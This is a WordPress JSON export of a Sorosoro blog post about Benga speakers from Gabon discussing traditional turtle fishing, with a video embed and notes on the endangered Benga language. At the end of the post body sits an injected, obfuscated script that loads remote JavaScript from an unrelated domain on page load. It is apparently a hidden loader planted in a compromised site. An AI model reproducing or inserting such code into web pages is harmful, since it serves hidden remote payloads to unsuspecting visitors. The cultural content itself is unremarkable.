{"id":47646,"date":"2011-05-17T12:52:22","date_gmt":"2011-05-17T10:52:22","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=47646"},"modified":"2025-10-21T22:47:54","modified_gmt":"2025-10-21T20:47:54","slug":"threats-upon-the-turtles","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/05\/threats-upon-the-turtles\/","title":{"rendered":"Threats upon the turtles"},"content":{"rendered":"<p><!-- h1 { margin-top: 0cm; margin-bottom: 0cm; }h1.western { font-family: \"Arial\",sans-serif; font-size: 14pt; }h1.cjk { font-family: \"Arial Unicode MS\"; font-size: 14pt; }h1.ctl { font-family: \"Arial\",sans-serif; font-size: 12pt; font-style: italic; }p { margin-bottom: 0.21cm; } --><\/p>\n<p style=\"text-align: justify;\">In company of<strong> <\/strong><strong>Kopedina <\/strong>and<strong> Bovenga Bepiti<\/strong>,\u00a0two young men from Cap Est\u00e9rias in <strong>Gabon<\/strong>,\u00a0we address a rather controversial subject, that of\u00a0<strong>fishing for turtles<\/strong>.\u00a0Speaking in the\u00a0<strong>Benga <\/strong>language, they recall the past when fish was plentiful near the shore, whereas today one needs to go far out at sea. And they mention above all their sorrow at seeing Westerners pressing them to stop fishing for sea turtles, when it is a <strong>traditional activity of the Benga<\/strong> practiced only in certain ritual circumstances, and in a way they deem respectful of nature\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a style=\"color: #58585a; text-decoration: none;\" href=\"https:\/\/www.sorosoro.org\/en\/videos-in-benga-language-gabon\">See all videos in Benga<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"..\/en\/benga\">Learn more on Benga<\/a><\/p>\n<p><object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"610\" height=\"370\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/SHW4YO0MP7A?fs=1&amp;hl=fr_FR\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed type=\"application\/x-shockwave-flash\" width=\"610\" height=\"370\" src=\"http:\/\/www.youtube.com\/v\/SHW4YO0MP7A?fs=1&amp;hl=fr_FR\" allowscriptaccess=\"always\" allowfullscreen=\"true\"><\/embed><\/object><\/p>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 10px; padding-left: 10px; line-height: 1.6; text-align: justify; margin: 0px;\"><span style=\"text-decoration: underline;\">Linguist <\/span>: Patrick Mouguiama-Daouda<\/p>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 10px; padding-left: 10px; line-height: 1.6; text-align: justify; margin: 0px;\"><span style=\"text-decoration: underline;\">Image and sound<\/span> : Muriel Lutz<\/p>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 10px; padding-left: 10px; line-height: 1.6; text-align: justify; margin: 0px;\"><span style=\"text-decoration: underline;\">Editing<\/span> : Caroline Laurent<\/p>\n<p style=\"padding-top: 0px; padding-right: 5px; padding-bottom: 10px; padding-left: 10px; line-height: 1.6; text-align: justify; margin: 0px;\">\n<p style=\"text-align: justify;\"><em>As a reminder: Benga\u00a0is spoken on the Gabonese coastal zone (Cap Esterias and Cap Santa Clara), north of Libreville. Benga people also live in Equatorial Guinea, especially on Corisco island. Fishing is their main traditional activity.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Benga is a Bantu language from the <a href=\"https:\/\/www.sorosoro.org\/en\/niger-congo-languages\">Niger-Congo family<\/a>. The extensive linguistic classification of the language remains complicated: there are similarities with languages spoken further north, but also with languages spoken in the east (languages of the Kota-kele group).<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Today, less than 1,000 people are capable of using the language and this figure is constantly decreasing, partly because the community is progressively merging with the My\u00e9n\u00e9 community nearby.<\/em><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In company of Kopedina and Bovenga Bepiti,\u00a0two young men from Cap Est\u00e9rias in Gabon,\u00a0we address a rather controversial subject, that of\u00a0fishing for turtles.\u00a0Speaking in the\u00a0Benga language, they recall the past when fish was plentiful near the shore, whereas today one needs to go far out at sea. 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